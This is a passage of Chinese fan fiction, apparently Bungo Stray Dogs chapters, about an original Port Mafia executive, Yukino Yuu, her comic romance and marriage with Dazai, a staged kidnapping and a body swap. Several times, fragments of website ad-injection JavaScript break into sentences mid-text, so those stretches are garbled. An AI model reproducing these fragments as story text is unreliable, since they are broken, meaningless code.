“哎?”太宰治没多大意外,嘴上却撒娇,“我决定要加入武装侦探社了哦?让我看港口mafia的文件真的好吗?” “可现在你已经被我俘虏了哦。” 雪野夕抚摸了下此时缠在他脖颈上的、自己平时用来系头发的丝带,用尾指勾住末端轻轻一扯—— “小心我……虐待组织的叛逃者。” 太宰治的胸膛起伏了下,眼睛里浮现出一层恰到好处的水光。 然后雪野夕的手机再一次气势汹汹地响了起来。 “为什么不来办公室。”叛逆孩子芥川龙之介沙哑的声音响起,“难道真如组织中的传言一样,太宰先生叛逃与你有关?” 虽然并不喜欢雪野夕,但芥川龙之介不得不承认,她很强,不仅仅是自己承认并且想要超越的体术老师,更是小银的直属上司。 小银也很喜欢她。 可是最近组织里的传言是怎么回事? 太宰先生和雪野小姐,三年前在森首领的见证下相遇,曾经多次相约入水鹤见川,但这段关系并不被首领看好…… 于是前段时间,他们一个失踪,一个叛逃,直到近日雪野小姐回归后整日郁郁不乐,到最后居然破天荒地搬离了港口mafia! 我们的首领,就这么将一对有情人拆散! 雪野夕:? 她这两天脸色不好不是看他们交上来的写得稀烂的报告闹得吗? 旁边的太宰治听着这一串流言蜚语,看上去像是要笑死了。 “芥川啊……看来你还是太年轻了,没有理解太宰的良苦用心啊。”雪野夕突然长叹一声,“你知道,在组织里,太宰君最看好的人是谁吗?” “是谁?在下一定要将——” 电话那头传来垂耳兔急不可耐的声音。 “其实就是你啊,芥川君。”雪野夕的声音里带上了一点痛心疾首,她一只手捂住身边太宰治的嘴,一边毫不犹豫地昧着良心对孩子说:“是的,其实太宰治就是这么一个、嗯……腼腆且不善于表达的人。” “你想想,整个组织里,谁是被他亲自带回来的人?又是谁被他寄予厚望,亲自训练?” “更何况他还关心你的身体健康和训练计划。” “但没想到,在他迫不得已离开港口mafia后,他最在意的学生,居然只是看了几份他留下来锻炼你的文件就开始听信谣言……” “在下、在下真是太让太宰先生失望了!!” 雪野夕还没胡说八道完,芥川龙之介饱含痛苦与自责的话语就几乎是被他吼了出来,“你说得对!太宰先生是如此的富有远见且心思细腻,可在下居然没能体察到他的心意……” 被按住听完芥川龙之介全部悔恨的太宰治瞳孔地震,就看到雪野夕将因为被垂耳兔的吼声震得耳朵发麻而拿远了的手机拿回来,大声鼓励他,“好!很有精神!” “但是芥川君啊,既然太宰他没有明说,想来他一定是打算默默付出,不想让我们有心理负担,那我们也应该默默做好自己的本职工作,比如将黑泽那里的文件全部处理完,所以这件事,你千万不要说出去,尤其是不要告诉中也啊!” “太宰君的内心细腻而脆弱,如果让同为干部的中也知道这件事,他一定会嘲笑太宰君的,这么一想,太宰君也太可怜了……” 结束通话后,芥川龙之介攥紧拳头。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 没想到,以前自己实在是太任性了,一点也没能体察到太宰先生对自己的信任,就算组织里的传言是真的,太宰先生真的与雪野小姐关系亲密—— 那么就像雪野小姐刚刚说的那样,太宰先生岂不就是给他找了一个自己信任的体术老师吗?那就更说明太宰先生对自己的看重啊! 我今后一定会成为更加成熟的港口mafia成员,不会辜负他一丝一毫! 从现在开始,如果自己今天没把黑泽那里的文件看完,就绝对不会下班的! “果然是有干劲的孩子。”雪野夕欣慰地挂断电话,“如果组织里其他人也这么崇拜你的话……” 那最近她的工作应该能超效率完成了。 太宰治:“……有时候我会觉得,夕酱说不定也很适合森先生的位置哦。” “当首领的话,需要考虑的东西很多,不过确实是个充满挑战的职位啊。” “不过即使是再怎么认同【最优解】……一旦这个解法涉及到在意之人的性命,也就失去了被称之为【最优】的资格。” 雪野夕打了个响指,栗子酱就从沙发底下飞出来,火速占领了自己的快乐老家——太宰治的头顶。 蓬松的头发此时带着点刚睡醒的凌乱,简直太适合它窝在上面了。 而雪野夕已经穿好衣服,从空间中拿出虚哭神去放在客厅的剑架上。 从今以后,它将作为纪念而非杀戮之物存在下去。 也许它也可以充当用于定位炭治郎他们的媒介…… 虚哭神去无法在阳光下使用,更何况它的主人,那独一无二的月已经消逝,所以它也不会再有能像以往一样绽放刀光的那一日了。 仅剩的虚哭神去。 雪野夕和月亮。 真是孤独的意象。 雪野夕转身就看到了太宰治脸上有些复杂的表情。 那…… “太宰治露出这种表情,好像很难得呢?” “觉得孤独的话……不如和我结婚怎么样?” “哎?”突然被求婚的对象猛地僵住,几乎是用上不来气地语调问她,“夕酱……不责怪我隐瞒了栗子酱的事情吗?” 太宰治其人,真是只很神奇的小猫咪。 具体表现为他会打包自己送上门,送上门后躺平任摸,但只要一把手拿开,小猫就会立刻眼泪汪汪地在暗处纠结——这个人类,到底是不是只是喵想象出来的? 被自己离奇的想象雷到了的雪野夕按住自己的头脑风暴,再一次内心默念:这是黑泥精变的猫这是变的猫这是猫…… 他只是小猫咪他有什么错! “被求婚的第一反应居然是这个吗?”她轻轻咳了下,主动转移话题,“我果然还是太草率了,按照流程来说应该拿出戒指什么的?” 家里确实有,应该是在衣帽间里。 戒指上的宝石应该选什么颜色的?鸢色似乎就不错? 人生中第一次被求婚的太宰治看上去似乎根本没有从死机中反应过来,但他的嘴巴还会用来答应—— “……好、好的?” 50.是月下兽 作为一个孤儿,中岛敦在加入了武装侦探社后,也时常感到深深的无奈。 把他捡回武装侦探社的,是一个名叫【太宰治】的前辈,他们第一次见面时,太宰先生正穿着一身沙色风衣,忧愁地望着波光粼粼的鹤见川。 他相貌俊秀,衣着得体,微长的卷发被一根绿色丝带在脑后扎了个小辫子,看上去是个风华正茂的青年,一开口就是—— “夕酱怎么还不回来,我要跳进鹤见川!到时候她一回来就只能看见我的骨灰盒了!” 中岛敦:……? 为什么一开口会是这种调调?温柔可靠的前辈在哪里啊?还是说对方的发带疑似开口说话了? 随后赶来的真·可靠的母亲型前辈国木田独步及时拎着太宰治的领子将他从岸边的栏杆上扯下来,怒气冲冲地开口,“太宰!上班时间不要老是来河边,更不要说一些奇奇怪怪的话!” 他就跟个麻袋一样被同事甩来甩去,一边不忘跟旁边局促的中岛敦解释,“没事,国木田君他就是嫉妒我是侦探社里唯一一个已婚的男人!” “哈?”国木田独步一推眼镜,“你在说什么玩笑话?两年来我们甚至都没见过一面的恋人?确定她不是你幻想出来的?” 太宰治举起带了婚戒的那只手,“夕酱当然是真的啊!” “虽然她当时确实是一下子就出现了没错。” 疑似幻想里的恋人,这件事在他正式进入武侦后,在一次聚餐里又被提起时,太宰治还是据理力争—— “夕酱当然是真实存在的!哎?栗子酱就是她养的哦!” 不动如山地待在他腿上打瞌睡的栗子酱小鸡啄米似的点了几下头,彻底睡过去了。 在栗子酱重新回归后,它的存在就已经不再是不为人知的事情,反而作为一只肥啾被广大横滨市民喜爱着。 嗯,一定是这样没错的。 “夕酱她超完美的!” 太宰治开启了他的满嘴跑火车,“我和她第一次见面,她就一把把我按在地上让我根本没力气爬起来!” “我不想吃饭,她宁愿把我的下巴卸掉也不想让我饿到!” “后来我们同时在鹤见川入水,虽然我跳我的她跳她的,但我们竟然默契地相遇了,她还把我按进水里!” “再后来我因为贪吃紫藤花,当场被她打了几巴掌……还有还有,我们一起遇见敌人,她抓起我就把我扔上了树!” “一旦说出什么惹她不高兴的话,她要么把我绊倒要么抓住我的绷带勒我,有时候还直接用我的绷带堵住我的嘴。” 太宰治一脸甜蜜地回忆与恋人和谐相处的日常,“总之不愧是夕酱!” “……”国木田独步端着果汁,非常严谨地推推眼镜,“你确定你说的,是一个现实中存在的、从定义上来说符合‘人类’的恋人吗?” “国木田君!你怎么可以这么怀疑我还有夕酱!”太宰治一脸不可置信地捂住胸口,“织田作,你快说句话啊!” “啊这个……”因为刚刚有了新的灵感、此时正在奋笔疾书的织田作之助慢吞吞地抬头,“雪野当然是真人啊。” “居然是真的。”与谢野晶子放下酒瓶,“我以为是你精神不好幻想出来的呢。” “但夕酱真的太无情了,她居然把我丢在这里就自己了去大正……难道前几天玩抽鬼牌我没让着她让她连输十局有那么过分吗?” “去了哪里?”国木田独步皱眉,“与谢野医生,你的结论下早了,现在看来就连织田君可能也需要精神方面的治疗。” 在中岛敦好不容易将一脸兴奋地拿起电锯的与谢野医生和给正在汗流浃背地织田作之助打气的太宰治都劝回座位后,中岛敦看了眼时间,大喊一声,“现在都已经下午了?国木田先生,我们必须出门调查委托人给的案子了!” “好。”国木田独步检查好笔记本上的人物,然后将趴在桌子上摆烂的太宰治提起来,“不许再偷懒了啊!你这个颓废男!和我们一起去。” 三个人一起来到鹤见川边,中岛敦一脸严肃地向周围人打听情况,而国木田独步则细心记录着详细信息,时不时还会陷入深思。 而他们中最闲的就是太宰治,他双手插兜,玉树临风地站在鹤见川前接受微风吹拂,并认真地声称“如果开始干活就会破坏自己英俊的形象,所以都拜托你了,敦君。” “……这丝毫没有逻辑的一番话,果然就是开玩笑吧?”中岛敦面色抽搐。 他试图把重心转移回工作上,并且一抬头就看到了一位站在河边的女士。 她看上去好像刚刚从河里爬出来,但衣服头发都是干的。 秉持着“身为侦探社的一员要对任何事都抱有观察力”的原则,他走进了这位女士。 对方身穿一身传统的和服,花色华丽,漆黑的长发在脑后被丝带绑住,头上还戴了一顶带有与她的眼睛有同色系缎带装饰的西洋礼帽。 真是个漂亮的人啊。 “那、那个……” 但是看向别人的视线似乎有点自带的压迫感。 中岛敦不太擅长与这样看上去比他年长并且稍稍严肃的女士交谈。 他只能结结巴巴地表明自己的身份,并且询问对方是否清楚近日发生的一起谋杀案的详细信息。 “抱歉,这个问题我并不清楚。”刚刚从大正归来的雪野夕脸色冷凝,横滨的四年时光,与大正的时间流速并不对等,昔日并肩作战的伙伴有不少已经逝去,就连精妙绝伦的剑技,也已经随着时代的浪潮而被掩埋。 “对不起!”中岛敦的内心已经开始默默流泪了,对面的小姐不会觉得自己很冒昧吧?也许他刚好挑了对方心情不好的时候前来打扰…… 总之、总之果然他还是…… “哦呀!”太宰治夸张的声音适时响起,“我看到了谁?居然是港口mafia的五大干部之一【空间使】?这种时候出现在这里,不会是另有企图吧?” “哎?”沉浸在自责中的中岛敦惊醒,目光中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还带有一点没褪去的茫然和自厌,“港口mafia?” 雪野夕和那双好久不见的鸢色眼眸对视,对方飞快地眨眨眼睛,做了个“上班好累”的模样。 “哦,居然是武装侦探社。”她顿时发出一声轻笑,看向中岛敦,“你就是被悬赏了七十亿的【人虎】?能变老虎是真的吗?” “我……”中岛敦一时之间摸不到头脑,不知道这种时候该不该发动攻击。 国木田独步的手已经按在了他的本子上,虽然没见过她,但如果是港口mafia干部的话…… “哎呀!”太宰治矫揉造作的声音突然响起,吸引了其他两个人的目光。 本来站在中岛敦对面的雪野夕,不知何时出现在太宰治身边,并且一只手绕过他的脖子挟持了他。 “你!”国木田独步瞬间想到刚刚那句“空间使”,原来那是太宰的提示吗?可恶,又错过了! “太宰先生!”中岛敦也瞬间急了,脑海里下意识开始盘算如果自己变成【虎】来不来得及用速度救下太宰先生。 “不要轻举妄动!”被挟持的太宰治大义凛然、一脸正气地劝诫,“国木田君,敦君,空间使的体术可是非常好的,要是你们激怒了她,她一瞬间就能拧断我的脖子啊!” “国木田君,你不要使用闪光弹,敦君,你也不要变成虎。” “既然这位美丽的小姐挟持我,那么肯定对我有这么要求。”看上去正在苦口婆心劝说同伴的太宰治,其实已经将全身大部分重量都靠在了雪野夕身上,而且他还特别不老实地用指尖在雪野夕手心写了什么。 “那就让我孤身一人会……” 被雪野夕扯住手心的绷带,将食指伸进去戳戳他手心的太宰治眼神飘忽,难得陷入了安静。 直到被拎着后颈,迫不得已保持一个弯腰姿势离开,他才猛然回过神来,“为了你们的安全……千万不要来救我啊!” 被“挟持”着走出好远,直到视线里再也看不见国木田独步与中岛敦的身影,小兔宰治才猛地扑上去挂在雪野夕身上—— “夕酱!!!人家真的好想你!” “看到你回来真的好开心!” “有多开心。”雪野夕恶魔质问,“比那天晚上你连赢十局抽鬼牌还开心吗?” “都怪我。”戏精宰一秒上线,“我下次一定会……” “只要你答应帮你亲爱的恋人完成一个小小的愿望,我就原谅你。”雪野夕抢先一步提出要求,“你能不能……” “可我不要承认小蛞蝓的帽子是我弄坏的啊!”太宰治捂脸,“还想用这个拿捏一下夕酱呢。” “你确定不答应?”被拒绝的雪野夕狞笑,“小心回了家我让你cos晴天娃娃哦。” 被威胁的太宰治一脸生无可恋,他闭上眼睛深吸一口气,在睁开眼睛的同时,“视死如归”地在街上大喊—— “小姐!我们这样背着您的丈夫单独出来,不太好吧?” 雪野夕:? 51.被绑架了 “不好了!” 跑得气喘吁吁的国木田独步和中岛敦猛地推开武装侦探社的大门—— “太宰这个笨蛋被绑架了!” “太宰先生被绑架了!” 谷崎润一郎立刻起身看向正在吃零食的江户川乱步,实际上目前侦探社内也就只有谷崎兄妹、江户川乱步、与谢野医生和正在办公室内的社长。 “哦?”江户川乱步微微歪头,“他们居然去吃好吃的不叫上名侦探!” “啊?乱步先生,我们要不要去救太宰先生啊?”谷崎润一郎还在担心地询问。 江户川乱步已经继续瘫下去玩弹珠了,“放心吧,太宰不会有事的。” 而且回来的时候多半还会带来雪野帮忙捎带的各种零食和点心。 唔,这么一想的话,自己还是不要揭穿他故意翘班的事情好了。 被绑架的太宰治正在一家餐厅品尝年份正好的蟹肉,这座餐厅坐落在江边,已经有些年头,风评一直不错。 “真是鲜美啊。”咽下雪野夕用异能力挑出来的蟹肉,太宰治感叹,“一想到我是在工作时间和夕酱一起品尝如此美味的蟹肉……” 就觉得真是幸福翻倍了呢。 “确实不错。”雪野夕放下刀叉,“这家餐厅好像有外送服务,你平时为什么不直接选松叶蟹送上门的选项?” “哎?”太宰治夸张地提高声调,“真的吗姐姐?如果让哥哥知道了,他会不会打我?” 雪野夕:“……” 这条小青花鱼没完没了吗? “那你明天不要来了。” 店员们已经在探头探脑了啊混蛋! “陪姐姐玩竟然还有休息日吗?”太宰猫得寸进尺,“我后天还可以来吗?” “看你表现。”雪野夕冷漠地抵住往这靠近的一大坨人,“你已经不是小猫咪了知道吗?” 和十六岁一米六的个子不同,现在的太宰治是个身高一米八一体重七十公斤的成年人,此时这副努力将自己团吧团吧塞进她怀里的画面怎么看怎么滑稽。 至少在刚走进门的中原中也眼里是这样的。 他扶着帽檐,发出好大一声“啧”。 “感觉我的面子都要被你丢尽了。”雪野夕按住在耳边抱怨“啊吃饭的时候居然看到了黑漆漆的小矮子现在没胃口”的太宰治,在中原中也红温之前用一大勺蟹肉成功堵住正在喵喵叫的小猫咪的嘴。 “但我知道我还是姐姐最喜欢的小猫咪呀。”已经无师自通边嚼刚得到的小零食边撒娇的太宰治哼哼唧唧坐回原位,“好吧中也,你的帽子是我弄坏的。” 中原中也:“?” 中原中也:“什么时候的事?你这个混蛋!” “上一个帽子不是被雪野拿去给芥川展示空间转移的时候弄坏的吗?” “原来是你这混蛋青花鱼教唆的!” “哇塞!”太宰治跳起来,“夕酱你原来已经承认完错误畏罪潜逃了吗?那中也你怎么还要打我啊!” 雪野夕:“顺手的事。” “好伤心!夕酱不许再帮中也配音了!” “你还知道这是我的心里话啊!” “先生、先生……我们这里是餐厅,可、可以不要打架吗……” 好不容易被劝下来的中原中也坐在了雪野夕旁边,一拍桌子,“开一瓶最贵的红酒,记在她账上!” “别担心夕酱,为了我们家的财政,我待会儿去偷中也的卡。”太宰治猫猫祟祟地从她另一边凑过来,看着雪野夕递卡的动作,“我一定会用小蛞蝓的钱买满整个冰箱的松叶蟹,绝对不会吃亏的!” “其实也不用。”雪野夕刷卡的动作很潇洒,声音却比太宰治还小,“因为这是森先生的卡。” “哇哦。”太宰治立刻捧场,对工作人员表示,“刷吧,今天所有消费由我买单!” 中原中也:“?” 虽然奇怪,但这种太宰治在场的情况下刷雪野黑卡的机会可不多啊! 赚到了赚到了! 在太宰治的有意下,他们成功收获一只居然在餐厅喝到酩酊大醉的港口mafia重力使。 雪野夕不得不打电话喊来芥川龙之介帮忙。 “这次聚餐太突然了所以没有叫上你,下次一定。”面对眼睛闪亮亮盯着太宰治的芥川君,雪野夕发出了鸽子的声音,“只能麻烦你把中也送回去港口大楼了。” “夕酱,回家吃我昨天就烤好的黄油曲奇怎么样?” “什么时候烤的?” “昨天哦。” “森先生最近好像说想吃黄油曲奇,我还是送他一点吧,哈哈。” “太宰先生亲手烤的曲奇……”还站在原地扛着中原中也的芥川龙之介瞳孔收缩,“曲奇…亲手……” “不要啊芥川,吃下去会看见黄泉比良坂的!” “夕酱居然这么不信任自己的恋人,我要哭了!” “就是因为信任你的技术,我才要送给森先生啊!” 吵闹间,太宰治的手机嗡嗡响起,他挂在雪野夕身上看了一眼,“哦,应该是敦君。” 什么?人虎! 什么黄油什么曲奇,一瞬间被芥川龙之介通通抛在脑后,其实等想起来还是会伤心的啦。 人虎……居然敢肆无忌惮地打太宰先生的电话! “莫西莫西,是太宰先生吗?” 中岛敦担忧的声音传过来,他是用武装侦探社的座机拨打的电话,身边还围着几个侦探社社员。 “敦君。”太宰治原本懒散的声音一秒变得低沉,“我目前没什么事,并且已经和邪恶的港口mafia干部进行了一场严肃的谈判!” “哦哦。”中岛敦不疑有他,“那么结果是?” “结果就是……”太宰治沉痛地说道:“她打算把我关进地下室狠狠折磨,直到三天后才打算放人。” 三天之后刚好是周末,计划通。 不过武装侦探社有双休吗? “天呐!”小老虎自责坏了,“都怪我,太宰先生,要不是我……” “没关系的敦君!”太宰治继续深沉地叹息,“但我也为我们武装侦探社争取到了好处 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ——” “你以后再被港口mafia的芥川君欺负……就打这个电话哦。” “嗯?”雪野夕揪住太宰治的发带,“为什么是我的电话号码?” “啊,我错了夕酱。” 抛开打打闹闹的二人组,站在原地的芥川龙之介其实已经碎了一地。 太宰先生,他居然让人虎打电话给雪野小姐告状! 太宰先生让人虎告状!而且还是告到雪野小姐那里! 这一切……全部都是人虎的错! 在醉醺醺中感到杀气的中原中也:“啊?” 雪野夕惨不忍睹地捂住脸,自从四年前一时嘴快问这个小兔宰治要不要和她结婚后,对方大叫一声当场就答应了。 结果就是这四年中,雪野夕时长觉得自己为港口mafia的卫生清洁做出了一份很大的贡献。 比如经常用她的颜面在港口mafia的大楼里扫地。 因为这里的员工,嘴硬得像是水泥,但背后上论坛发帖吃瓜的速度可一点都不慢—— 碍于【太宰治】这个名字太有杀伤力,以及森先生睁一只眼闭一只眼的行为,太宰治时常有机会进入森先生楼下雪野夕的办公室。 那里有他最常待着的抱枕堆,每当太宰治从武侦翘班时,雪野夕推门而入都能得到一个摆好“surprise”造型的猫猫。 而在一次芥川龙之介亲眼看到太宰治与中岛敦其乐融融地交谈后,伤心欲绝的垂耳兔回到港口大楼后直奔雪野夕办公室—— “雪野小姐,人虎怎么能这样!” 雪野夕露出一个勉强地笑容,“是芥川啊,发生了什么吗?” “发生了什么不重要。”芥川龙之介冷酷地说:“但这一切,都是人虎的错!” “雪野小姐,太宰先生是不是还对我不满意。” 即使是这样脆弱的质问,被他说出口时也稍显冷硬。 “不是,他对你很满意。”雪野夕深吸一口气,趁着芥川龙之介低头伤神,狠狠地瞪了一眼躲在办公桌下的太宰治。 “嗯……我会骂他的,你出任务也很累,先去休息吧。” “谢谢您,雪野小姐。”芥川龙之介咬牙切齿,“但请不要因为在下的缘故责怪太宰先生!” 这个不擅长表达的人有些别扭地告辞,大概以一种在父母身上得到了宽慰的心态离开了。 至于从芥川龙之介进来时就被被扯住脸颊的太宰治顺势趴在雪野夕腿上,他哪有做什么啊? 明明是夕酱看到芥川君进来才会慌不择路把他塞进办公桌下面的呀。 他抓住雪野夕空闲的左手,在她无名指上留下一个清晰的咬痕,与下方的婚戒一起成为一道双重枷锁。 小心我把你交给芥川,让他一直缠着你,雪野夕轻咳一声,右手食指弯曲,蹭过他眼下。 不要紧哦。 唇齿在吻痕与婚戒上层层累加,太宰治鸢色的眼眸比在他唇畔的宝石更加耀眼夺目,随后一笔一画地在她手心写下什么。 “待会儿回家,夕酱一定要咬回来哦。” 52.互换身体 在雪野夕与太宰治两个人之中,很难找出“更黏人”的那一个。 太宰治这种黏着系生物不必多说,他经常会在早上赖床的时候抱住雪野夕大喊“离开夕酱我就会立刻死掉啦”“怎么可以把鱼从水里拎出来好残忍”这种话。 至于雪野夕……从她对太宰治有点卷曲的头发和脸颊的触摸频率来看,就能窥见她爱好贴贴的那一面。 所以此刻在家里,窗外正在下小雨,雪野夕的工作已经全部完成,而太宰治日常翘班,他们两个穿着家居服瘫在全封闭阳台落地窗前的超大号沙发里面一起玩基建小游戏。 手边的小桌子上还放满了零食,得空时就会顺手摸一个。 但此时新的问题诞生——杯子里已经没有饮料了,最近的饮料在厨房的冰箱里。 本来咸鱼瘫在一起的两人默契地对视一眼。 “你去。” “你去。” “石头剪刀布,谁输了谁去?” “不要不要,你这个游戏bug,除非我答应和你玩你就去拿。” “夕酱……我不是你的亲爱的了吗?” 提议被拒绝后,太宰治果断使用感情攻击。 雪野夕顿时提心吊胆,这个问题答不好,她怕明天一早就发现太宰治吊死在家门口。 就在她百般纠结时,太宰治悄悄伸手—— 是的,雪野夕是个超级怕痒星人。 “!” “哎呀!” 两个人双双落地。 怕痒的人才不会善罢甘休,所以在太宰治伸手的那一刻,雪野夕就一把拽住他的衣袖,最后两败俱伤,都栽进毛绒绒的地毯里。 她撑着绒毯坐直,却感到了微妙的不对劲。 为什么她看见自己正气鼓鼓地看着她啊! “这是你的身体?”雪野夕抬手,看到比自己的手更加修长的指节,“咦你的绷带……” “夕酱不要乱摸啊!”太宰治瞳孔地震,扑上来一把抱住自己身体的隔壁,“这么做……好奇怪。” “哎?我又不是没解开过。”她放下手,看向气鼓鼓的自己。 “呜呜呜,干嘛呀!” 突然被她薅起来的太宰治被按进自己身体的怀里,接着他听见雪野夕非常快乐地感叹,“哇塞,我的身体也太可爱了吧?” “抱起来感觉还挺软。” “头发摸起来也很光滑,总之不愧是我。” “……”被严丝合缝抱住的太宰治顿时入戏,“那你觉得谁更可爱?” “我有一个更严肃的问题。”雪野夕快乐地和自己的身体贴贴,“为什么我每天锻炼,肌肉还是没有你的多?” 当然是因为他也有偷偷摸摸的锻炼啊!太宰治目移。 “一定是都怪森先生,每天工作量那么大怎么可能练出肱二头肌嘛!说不定连他自己也没有!” “夕酱不好奇我们为什么会互换身体吗?”太宰治仰头,“如果以后换不回来的话……” “不会的啦。”雪野夕用自己身体的头垫下巴,“因为感觉这种事只有你在搞,等我玩够了我再威胁你换回来就好。” 太宰治:“……” 被猜到了。 “但你为什么要用自己垫下巴啊,我明明就没这么做过!” “你敢!” “好霸道……” “哼哼~” . 中岛敦这几天都是怀着愧疚之心上班的,虽然有乱步先生保证太宰治绝对会没事,但那可是被港口mafia的干部抓走啊! 太宰先生真的不会受到什么折磨吗? 早上八点,他跟在国木田独步身后走进侦探社的办公室,第一眼就看到正坐在自己位置上认真看工作内容的太宰先生。 以及他身边笔直站着的身穿红色和服的泉镜花。 中岛敦:? 镜花酱……怎么在这里? 身边的国木田独步也大惊失色:“世界要毁灭了吗?太宰治居然在认真工作?” “早上好呀,国木田先生,以及中岛君。”疑似太宰治的人朝他们挥挥手,“我确实不是太宰啦。” “雪野,这么说起来,太宰岂不是代替你去工作了?”织田作之助从奋笔疾书中抬头,“应该不会有什么事吧?” “这种事,他应该会比我熟练。”雪野夕给手里的报告收下尾,“而且我打赌他大概率不会去正经工作的。” “有道理。”织田作之助几乎没有犹豫就认可了这个观点,心安理得地继续写自己的小说去了。 “雪野?太宰说的结婚对象?”国木田独步走近办公桌,第一眼先看到了桌子上书写工整的任务报告。 “不管了,无论你是不是太宰治那家伙的第二人格。”他眼中升起炽热的光芒,“拜托了,别换回来!” 雪野夕:? “可是……今天的工作怎么办?”中岛敦弱弱举手,“本来这个任务应该是太宰先生和我一起去啦。” “我去也可以?”雪野夕跃跃欲试,“终于轮到我来当侦探了!” 中岛敦:……太宰先生的恋人,应该不会不靠谱吧? “或者镜花酱和我们一起去?”她看向安静地站在自己身边的泉镜花,“放心,我已经帮你通关了哦。” 而且你走到光明中来,也是红叶姐一直以来的心愿。 “谢谢您,雪野大人。”泉镜花拘谨地鞠躬。 看上去比平时不着调的太宰先生还有距离感啊……中岛敦默默咽下口水,就听到身侧的国木田独步说:“那我昨天写给太宰的计划安排他岂不是……” 完全没做吗? “采购计划、情报收集和任务报告吗?”雪野夕思忖,“我带来了,采购的东西七点半的时候已经放到了缺少的地方,情报收集在来的路上做完了,任务报告——” 她从被整理地非常整齐的文件中抽出一份递给国木田独步,“是这个吧?” “还给名侦探带了喜欢的点心,好棒!”躺着玩弹珠的江户川乱步点头,“不愧是名侦探认可的人类。” “果然!这绝对不是太宰治。”国木田 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 独步眼镜上闪过一道雪白的光线,“请永远不要换回来!” “工作氛围很轻松呢。”雪野夕歪头,“镜花,这样的环境,确实很不错啊。” “我今后一定会用性命守护这里的。”泉镜花点头,原本在组合的事情告一段落后,她就被尾崎红叶带回了港口mafia,但因为尾崎红叶本人与她自己的心愿,今天就被雪野夕带来了武装侦探社。 “太好了,镜花!”天真的小老虎顿时凑过来和泉镜花说话,“待会儿一起去吃饭吧?” “嗯。”泉镜花点点头,这种事情当然是答应啊。 “要刷我的卡吗?”雪野夕问泉镜花,毕竟从某种意义上来说,泉镜花也算她看着长大的孩子。 “不不,这太不好意思了!”中岛敦下意识摇头,不过对着太宰先生的脸……也太奇怪了! “咳咳,这孩子是太宰要带过来的吧?”国木田独步清清嗓子,“……没想到你会完成这些,我上午的行程空出来了,待会儿的任务我和你们一起去吧。” 小老虎顿时松口气,有国木田先生在,那就应该不会有意外了。 “没关系啦。”江户川乱步懒洋洋的声音传过来,“就算雪野一个人去也可以哦。” “雪野大人当然可以。”泉镜花也认真点点头。 “……这个任务只是追捕回一些东西吧?”雪野夕活动手腕,“用太宰的身体打架,不知道方不方便。” 这家伙的痛觉神经异常发达,为了不伤到他以免换回来之后他哭唧唧,果然应该抢先干掉所有敌人才行吗? 现在自己的异能力应该也换成了人间失格才对,那岂不是只能和对手肉搏了? 太宰治应该不会用空间之镜干什么坏事吧? ……还是说干了坏事也会被算在自己头上啊! “打、打架?”中岛敦顿时有些犹豫,“不如还是我自己去吧?” “哎?我第一次被人质疑武力值啊。”雪野夕站起来,“虽然可能不擅长推理,但在‘武装’上,我还是有一点自信的哦。” “你的异能力【月下兽】,在使用时爆发力很强,但在使用时,会有一些衔接性的问题,反应力也很强,没有经过系统训练的话还是有一些可惜哦。” 雪野夕说完,突然左手握拳敲了下右手心,“果然,太宰估计也希望我来教导一下你的体术吧?” “我看了下……解决掉这个任务很轻松啦。”她将手中的文件轻飘飘地放在桌面上,“要不要跟我学习一下如何更好地近战呢?” “太麻烦您了……”中岛敦挠头,“您叫我敦就好啦。” “对了!太宰……啊不,雪野小姐,太宰先生是怎么从港口mafia那里逃出来的?”他有点好奇地询问,“而且还把镜花酱也带出来了。” “因为那天你们已经见过啦。”江户川乱步转着椅子,“笨蛋老虎,雪野就是是港口mafia的干部嘛。” 织田作之助也一脸好奇,“原来你们都不知道这件事吗?” 国木田独步、中岛敦:“啊?” 53.任务清单 “所以那天太宰是翘班了?可恶!” 万万没想到,国木田独步的第一句话竟然是这个。 雪野夕:感觉他已经被工作腌入味了。 “那、那您岂不就是芥川的体术老师?”中岛敦的第一反应也比较与众不同。 “是的哦。”雪野夕拍手,“不过乱步你居然一下子就揭开真相,这样子会很无趣哎。” “那是因为太宰那家伙去干有趣的事情却不通知名侦探啊。”江户川乱步抬起一枚亮晶晶的蓝色弹珠放在光下观察,“说不定雪野你还会因为这件事情而生气呢。” “哈?”雪野夕歪头,“我就知道这小子搞这出没那么简单。” 她会生气的事情有什么……首先太宰肯定不会用她的身体自杀,现在就连他待在自己身体里时都不怎么自杀了。 那就只能是对她比较重要的东西…… 雪野夕越想脸色越凝重。 “看起来心中已经有范围了呢。”乱步抖抖自己空掉的点心袋,“想知道更多信息,名侦探支持你拿自己做的饼干换哦。” 这算什么?拜猫猫教之前要先向教主大人供奉小鱼干吗? 好可爱! 另一边,作为雪野夕来到港口mafia上班的太宰治当然是毫无上进心地瘫了下去。 雪野夕说过,这么多年她勤勤恳恳地工作,主打一个虽然公司不是我家,但我可以把公司当家。 具体表现为看上家里什么东西就拿什么东西。 至于已经离家出走的太宰治则松弛多了。 文件?有黑泽他们啦。 外勤?不是有芥川吗? 实在不行还可以交给那个黑漆漆的小矮子去干啊~ 夕酱的办公室他实在是太熟悉了,零食的位置什么的,一清二楚哟。 那么今天的工作安排就是—— 早上八点到中午十二点,躺着读夕酱空间里织田作的小说,给夕酱发消息讨论。 十二点到一点,品尝并点评空间里的蟹肉罐头,向夕酱撒娇“你不在所以今天的罐头都是我自己开的我好坚强。” 下午一点到三点,想着夕酱发呆和抱着夕酱的抱枕午睡。 三点到三点零一分,进行高强度的工作。 三点零一分到三点零二分,进行高强度的工作。 …… 一直到三点零五分,工作太努力了,奖励自己和夕酱聊天两小时,接着用一个响指赶去武装侦探社门口接夕酱下班。 唔,他干得活可真多呀。 真不愧是夕酱的丈夫、侦探社优秀社员、完美的男人太宰治。 毕竟夕酱的审美那么好,她看上的恋人怎么可能差。 雪野夕作为交换员工的一天也很忙碌—— 早上七点从家出发,路上看完了国木田独步写的清单,并在半小时内完成各个事项。 虽然不知道自己为什么要照做,但计划都在眼前了,不执行总觉得很奇怪啊。 七点半带着泉镜花到达侦探社门口,与一早就等着吃零食的江户川乱步以及好友织田作之助打招呼。 